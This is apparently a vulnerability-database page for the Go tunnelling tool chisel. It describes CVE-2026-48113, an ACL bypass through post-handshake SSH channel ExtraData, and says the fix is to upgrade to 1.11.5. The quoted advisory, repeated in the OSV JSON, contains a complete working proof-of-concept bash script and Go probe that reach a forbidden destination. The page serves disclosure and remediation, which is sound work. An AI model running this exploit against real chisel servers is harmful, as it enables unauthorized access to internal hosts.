Vulnerabilities in pkg:golang/github.com/jpillora/chisel

PACKAGE
Advisory Identifier: GHSA-24fp-5v3p-rvpw
Advisory Summary

CVE-2026-48113 is a HIGH chisel has an acl bypass vulnerability (CWE-863: Incorrect Authorization) affecting Github.com/jpillora/chisel libraries in the Go ecosystem. The issue involves chisel has an acl bypass via post-handshake ssh channel extradata injection. Remediation is available by upgrading affected packages to version 1.11.5.

2 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:golang/github.com/jpillora/chisel

2 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:golang/github.com/jpillora/chisel. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-24fp-5v3p-rvpw CVE-2026-48113 HIGH Chisel has an ACL Bypass via Post-Handshake SSH Channel ExtraData Injection
GHSA-38jh-8h67-m7mj CVE-2024-43798 HIGH Chisel's AUTH environment variable not respected in server entrypoint

CVE-2026-48113 at a Glance

CVE Identifier CVE-2026-48113
GHSA Identifier GHSA-24fp-5v3p-rvpw
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-863: Incorrect Authorization
Affected Product Github.com/jpillora/chisel
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-48113

To remediate this vulnerability, upgrade all affected Github.com/jpillora/chisel dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/jpillora/chisel fixed: 1.11.5
Upgrade github.com/jpillora/chisel to 1.11.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/jpillora/chisel

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-48113, inspect your project dependencies for Github.com/jpillora/chisel:

inspect dependencies for github.com/jpillora/chisel

Analyze the terminal output to locate any version of Github.com/jpillora/chisel in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.11.5), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-863: Incorrect Authorization, where the product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. In Github.com/jpillora/chisel, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Authenticated chisel clients can bypass `--authfile` ACL restrictions and tunnel traffic to arbitrary destinations reachable from the server. The ACL is enforced only during the initial handshake against declared remotes, but never on subsequent SSH channels that carry actual traffic. A malicious client authenticates with a permitted remote, then opens channels to any `host:port` it wants. ### Details The chisel server validates user ACLs in two places but is missing validation in one of the important places. The `server/server_handler.go` checks the ACL, during the initial config handshake: ```go for _, r := range c.Remotes { if user != nil { addr := r.UserAddr() if !user.HasAccess(addr) { failed(s.Errorf("access to '%s' denied", addr)) return } } } r.Reply(true, nil) ``` This validates the declared remote list from the client's config request. It runs once, at connection setup. But in `share/tunnel/tunnel_out_ssh.go` ACL aren't being checked, when the server processes actual traffic channels: ```go func (t *Tunnel) handleSSHChannel(ch ssh.NewChannel) { remote := string(ch.ExtraData()) // client-controlled hostPort, proto := settings.L4Proto(remote) sshChan, reqs, err := ch.Accept() // accepted unconditionally // ... err = t.handleTCP(l, stream, hostPort) // dials whatever client said } func (t *Tunnel) handleTCP(l *cio.Logger, src io.ReadWriteCloser, hostPort string) error { dst, err := net.Dial("tcp", hostPort) // no ACL check // ... } ``` The `tunnel.Config` struct has no User field, no allowed-address list, and no ACL callback. The user context from `server_handler.go` is never propagated to the tunnel layer: ```go type Config struct { *cio.Logger Inbound bool Outbound bool Socks bool KeepAlive time.Duration // ------- No User, no AllowedRemotes, no ACL } ``` Since `ch.ExtraData()` is fully controlled by the SSH client, any authenticated user can open channels to arbitrary destinations after passing the handshake with a permitted remote. ### PoC Directory structure format: ``` poc ├── poc.sh └── probe ├── go.mod ├── go.sum └── main.go ``` - `poc.sh` ```bash #!/usr/bin/env bash # Requires: Go, nc (netcat) set -euo pipefail DIR="$(cd "$(dirname "$0")" && pwd)" REPO="$DIR/.." freeport() { python3 -c "import socket;s=socket.socket();s.bind(('',0));print(s.getsockname()[1]);s.close()"; } cleanup() { kill $SERVER $LISTENER 2>/dev/null; rm -f "$AUTH"; } trap cleanup EXIT # Build echo "[*] Building..." (cd "$REPO" && go build -o /tmp/_chisel .) (cd "$DIR/probe" && go build -o /tmp/_probe .) # Ports SP=$(freeport); AP=$(freeport); BP=$(freeport) echo "[*] Server :$SP Allowed :$AP Blocked :$BP" # Authfile — user:pass may only reach 127.0.0.1:$AP AUTH=$(mktemp) printf '{"user:pass":["^127\\\\.0\\\\.0\\\\.1:%s$"]}\n' "$AP" > "$AUTH" # Start forbidden-target listener and chisel server (echo "FORBIDDEN_TARGET_REACHED" | nc -l 127.0.0.1 "$BP") & LISTENER=$! /tmp/_chisel server --port "$SP" --authfile "$AUTH" --key seed 2>/dev/null & SERVER=$! sleep 1 # Exploit CHISEL_SERVER="127.0.0.1:$SP" ALLOWED_PORT="$AP" BLOCKED_PORT="$BP" /tmp/_probe ``` - `main.go` ```go // Chisel ACL bypass probe. Authenticates with an allowed remote, // then opens an SSH channel to a forbidden destination via ExtraData. package main import ( "encoding/json" "fmt" "net" "net/http" "os" "time" "github.com/gorilla/websocket" "github.com/jpillora/chisel/share/cnet" "github.com/jpillora/chisel/share/settings" "golang.org/x/crypto/ssh" ) func main() { server := os.Getenv("CHISEL_SERVER") allowed := os.Getenv("ALLOWED_PORT") blocked := os.Getenv("BLOCKED_PORT") // WebSocket → net.Conn ws, _, err := (&websocket.Dialer{ HandshakeTimeout: 5 * time.Second, Subprotocols: []string{"chisel-v3"}, }).Dial("ws://"+server, http.Header{}) check(err, "ws dial") conn := cnet.NewWebSocketConn(ws) // SSH handshake sc, chans, reqs, err := ssh.NewClientConn(conn, "", &ssh.ClientConfig{ User: "user", Auth: []ssh.AuthMethod{ssh.Password("pass")}, HostKeyCallback: ssh.InsecureIgnoreHostKey(), }) check(err, "ssh") go ssh.DiscardRequests(reqs) go func() { for c := range chans { c.Reject(ssh.Prohibited, "") } }() // Send config with only the allowed remote r, _ := settings.DecodeRemote(fmt.Sprintf("0.0.0.0:%s:127.0.0.1:%s", allowed, allowed)) cfg, _ := json.Marshal(settings.Config{Version: "0", Remotes: []*settings.Remote{r}}) ok, reply, err := sc.SendRequest("config", true, cfg) check(err, "config") if !ok { die("config rejected: %s", reply) } fmt.Printf("[+] Config accepted (only 127.0.0.1:%s allowed)\n", allowed) // Open channel to BLOCKED destination target := net.JoinHostPort("127.0.0.1", blocked) ch, cr, err := sc.OpenChannel("chisel", []byte(target)) if err != nil { fmt.Printf("[-] REJECTED — server refused %s\n", target) os.Exit(1) } go ssh.DiscardRequests(cr) fmt.Printf("[!] ACCEPTED — channel opened to %s\n", target) // Read response from forbidden target buf := make([]byte, 256) done := make(chan int, 1) go func() { n, _ := ch.Read(buf); done <- n }() select { case n := <-done: if n > 0 { fmt.Printf("[!] Data: %s\n", buf[:n]) } case <-time.After(3 * time.Second): } fmt.Println("CONFIRMED — ACL bypass: server dialed unauthorized destination") ch.Close() sc.Close() } func check(err error, ctx string) { if err != nil { die("%s: %v", ctx, err) } } func die(f string, a ...interface{}) { fmt.Fprintf(os.Stderr, f+"\n", a...) os.Exit(1) } ``` ### Impact - Complete ACL bypass: The `--authfile` address restrictions are enforceable only on paper - Authenticated users can reach any host/port the server process can dial

CVE-2026-48113 Affected Github.com/jpillora/chisel Versions

1 component(s)
Fixed Versions:
1.11.5
Product / Package Ecosystem Affected Versions Fixed Version
github.com/jpillora/chisel
Go
< 1.11.5
1.11.5

References

Frequently Asked Questions

What is CVE-2026-48113?
CVE-2026-48113 is a security vulnerability in Github.com/jpillora/chisel involving Chisel has an ACL Bypass via Post-Handshake SSH Channel ExtraData Injection under CWE-863: Incorrect Authorization.
Which Github.com/jpillora/chisel versions are affected?
Affected versions include releases prior to 1.11.5 across affected packages: github.com/jpillora/chisel.
What version fixes CVE-2026-48113?
Upgrading to 1.11.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/jpillora/chisel affected?
Yes, github.com/jpillora/chisel is affected in releases prior to 1.11.5. Upgrade your dependency to 1.11.5 or later.
What CWE is associated with CVE-2026-48113?
CVE-2026-48113 is classified under CWE-863: Incorrect Authorization (The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.).
How can I check Go dependencies for CVE-2026-48113?
Run the dependency tree command: 'inspect dependencies for github.com/jpillora/chisel'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-24fp-5v3p-rvpw",
  "modified" : "2026-06-12T15:04:37Z",
  "published" : "2026-06-12T15:04:37Z",
  "aliases" : [ "CVE-2026-48113" ],
  "summary" : "Chisel has an ACL Bypass via Post-Handshake SSH Channel ExtraData Injection",
  "details" : "### Summary\n\nAuthenticated chisel clients can bypass `--authfile` ACL restrictions and tunnel traffic to arbitrary destinations reachable from the server. The ACL is enforced only during the initial handshake against declared remotes, but never on subsequent SSH channels that carry actual traffic. A malicious client authenticates with a permitted remote, then opens channels to any `host:port` it wants.\n\n\n### Details\nThe chisel server validates user ACLs in two places but is missing validation in one of the important places.\n\nThe `server/server_handler.go` checks the ACL, during the initial config handshake:\n\n```go\nfor _, r := range c.Remotes {\n    if user != nil {\n        addr := r.UserAddr()\n        if !user.HasAccess(addr) {\n            failed(s.Errorf(\"access to '%s' denied\", addr))\n            return\n        }\n    }\n}\nr.Reply(true, nil)\n```\n\nThis validates the declared remote list from the client's config request. It runs once, at connection setup. But in `share/tunnel/tunnel_out_ssh.go` ACL aren't being checked, when the server processes actual traffic channels:\n\n```go\nfunc (t *Tunnel) handleSSHChannel(ch ssh.NewChannel) {\n    remote := string(ch.ExtraData())        // client-controlled\n    hostPort, proto := settings.L4Proto(remote)\n    sshChan, reqs, err := ch.Accept()       // accepted unconditionally\n    // ...\n    err = t.handleTCP(l, stream, hostPort)  // dials whatever client said\n}\n\nfunc (t *Tunnel) handleTCP(l *cio.Logger, src io.ReadWriteCloser, hostPort string) error {\n    dst, err := net.Dial(\"tcp\", hostPort)   // no ACL check\n    // ...\n}\n```\n\nThe `tunnel.Config` struct has no User field, no allowed-address list, and no ACL callback. The user context from `server_handler.go` is never propagated to the tunnel layer:\n\n```go\ntype Config struct {\n    *cio.Logger\n    Inbound   bool\n    Outbound  bool\n    Socks     bool\n    KeepAlive time.Duration\n    // ------- No User, no AllowedRemotes, no ACL\n}\n```\nSince `ch.ExtraData()` is fully controlled by the SSH client, any authenticated user can open channels to arbitrary destinations after passing the handshake with a permitted remote.\n\n\n### PoC\n\nDirectory structure format:\n```\npoc\n├── poc.sh\n└── probe\n    ├── go.mod\n    ├── go.sum\n    └── main.go\n```\n\n- `poc.sh`\n\n```bash\n#!/usr/bin/env bash\n\n# Requires: Go, nc (netcat)\n\nset -euo pipefail\nDIR=\"$(cd \"$(dirname \"$0\")\" && pwd)\"\nREPO=\"$DIR/..\"\n\nfreeport() { python3 -c \"import socket;s=socket.socket();s.bind(('',0));print(s.getsockname()[1]);s.close()\"; }\ncleanup() { kill $SERVER $LISTENER 2>/dev/null; rm -f \"$AUTH\"; }\ntrap cleanup EXIT\n\n# Build\necho \"[*] Building...\"\n(cd \"$REPO\"       && go build -o /tmp/_chisel .)\n(cd \"$DIR/probe\"  && go build -o /tmp/_probe  .)\n\n# Ports\nSP=$(freeport); AP=$(freeport); BP=$(freeport)\necho \"[*] Server :$SP  Allowed :$AP  Blocked :$BP\"\n\n# Authfile — user:pass may only reach 127.0.0.1:$AP\nAUTH=$(mktemp)\nprintf '{\"user:pass\":[\"^127\\\\\\\\.0\\\\\\\\.0\\\\\\\\.1:%s$\"]}\\n' \"$AP\" > \"$AUTH\"\n\n# Start forbidden-target listener and chisel server\n(echo \"FORBIDDEN_TARGET_REACHED\" | nc -l 127.0.0.1 \"$BP\") & LISTENER=$!\n/tmp/_chisel server --port \"$SP\" --authfile \"$AUTH\" --key seed 2>/dev/null & SERVER=$!\nsleep 1\n\n# Exploit\nCHISEL_SERVER=\"127.0.0.1:$SP\" ALLOWED_PORT=\"$AP\" BLOCKED_PORT=\"$BP\" /tmp/_probe\n```\n\n- `main.go`\n\n```go\n// Chisel ACL bypass probe. Authenticates with an allowed remote,\n// then opens an SSH channel to a forbidden destination via ExtraData.\npackage main\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/http\"\n\t\"os\"\n\t\"time\"\n\n\t\"github.com/gorilla/websocket\"\n\t\"github.com/jpillora/chisel/share/cnet\"\n\t\"github.com/jpillora/chisel/share/settings\"\n\t\"golang.org/x/crypto/ssh\"\n)\n\nfunc main() {\n\tserver := os.Getenv(\"CHISEL_SERVER\")\n\tallowed := os.Getenv(\"ALLOWED_PORT\")\n\tblocked := os.Getenv(\"BLOCKED_PORT\")\n\n\t// WebSocket → net.Conn\n\tws, _, err := (&websocket.Dialer{\n\t\tHandshakeTimeout: 5 * time.Second,\n\t\tSubprotocols:     []string{\"chisel-v3\"},\n\t}).Dial(\"ws://\"+server, http.Header{})\n\tcheck(err, \"ws dial\")\n\tconn := cnet.NewWebSocketConn(ws)\n\n\t// SSH handshake\n\tsc, chans, reqs, err := ssh.NewClientConn(conn, \"\", &ssh.ClientConfig{\n\t\tUser:            \"user\",\n\t\tAuth:            []ssh.AuthMethod{ssh.Password(\"pass\")},\n\t\tHostKeyCallback: ssh.InsecureIgnoreHostKey(),\n\t})\n\tcheck(err, \"ssh\")\n\tgo ssh.DiscardRequests(reqs)\n\tgo func() { for c := range chans { c.Reject(ssh.Prohibited, \"\") } }()\n\n\t// Send config with only the allowed remote\n\tr, _ := settings.DecodeRemote(fmt.Sprintf(\"0.0.0.0:%s:127.0.0.1:%s\", allowed, allowed))\n\tcfg, _ := json.Marshal(settings.Config{Version: \"0\", Remotes: []*settings.Remote{r}})\n\tok, reply, err := sc.SendRequest(\"config\", true, cfg)\n\tcheck(err, \"config\")\n\tif !ok {\n\t\tdie(\"config rejected: %s\", reply)\n\t}\n\tfmt.Printf(\"[+] Config accepted (only 127.0.0.1:%s allowed)\\n\", allowed)\n\n\t// Open channel to BLOCKED destination\n\ttarget := net.JoinHostPort(\"127.0.0.1\", blocked)\n\tch, cr, err := sc.OpenChannel(\"chisel\", []byte(target))\n\tif err != nil {\n\t\tfmt.Printf(\"[-] REJECTED — server refused %s\\n\", target)\n\t\tos.Exit(1)\n\t}\n\tgo ssh.DiscardRequests(cr)\n\tfmt.Printf(\"[!] ACCEPTED — channel opened to %s\\n\", target)\n\n\t// Read response from forbidden target\n\tbuf := make([]byte, 256)\n\tdone := make(chan int, 1)\n\tgo func() { n, _ := ch.Read(buf); done <- n }()\n\tselect {\n\tcase n := <-done:\n\t\tif n > 0 {\n\t\t\tfmt.Printf(\"[!] Data: %s\\n\", buf[:n])\n\t\t}\n\tcase <-time.After(3 * time.Second):\n\t}\n\tfmt.Println(\"CONFIRMED — ACL bypass: server dialed unauthorized destination\")\n\tch.Close()\n\tsc.Close()\n}\n\nfunc check(err error, ctx string) {\n\tif err != nil {\n\t\tdie(\"%s: %v\", ctx, err)\n\t}\n}\nfunc die(f string, a ...interface{}) {\n\tfmt.Fprintf(os.Stderr, f+\"\\n\", a...)\n\tos.Exit(1)\n}\n```\n\n### Impact\n\n- Complete ACL bypass: The `--authfile` address restrictions are enforceable only on paper\n-  Authenticated users can reach any host/port the server process can dial",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:H/SI:H/SA:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/jpillora/chisel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.11.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.11.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/jpillora/chisel/security/advisories/GHSA-24fp-5v3p-rvpw"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/jpillora/chisel"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-12T15:04:37Z",
    "nvd_published_at" : null
  }
}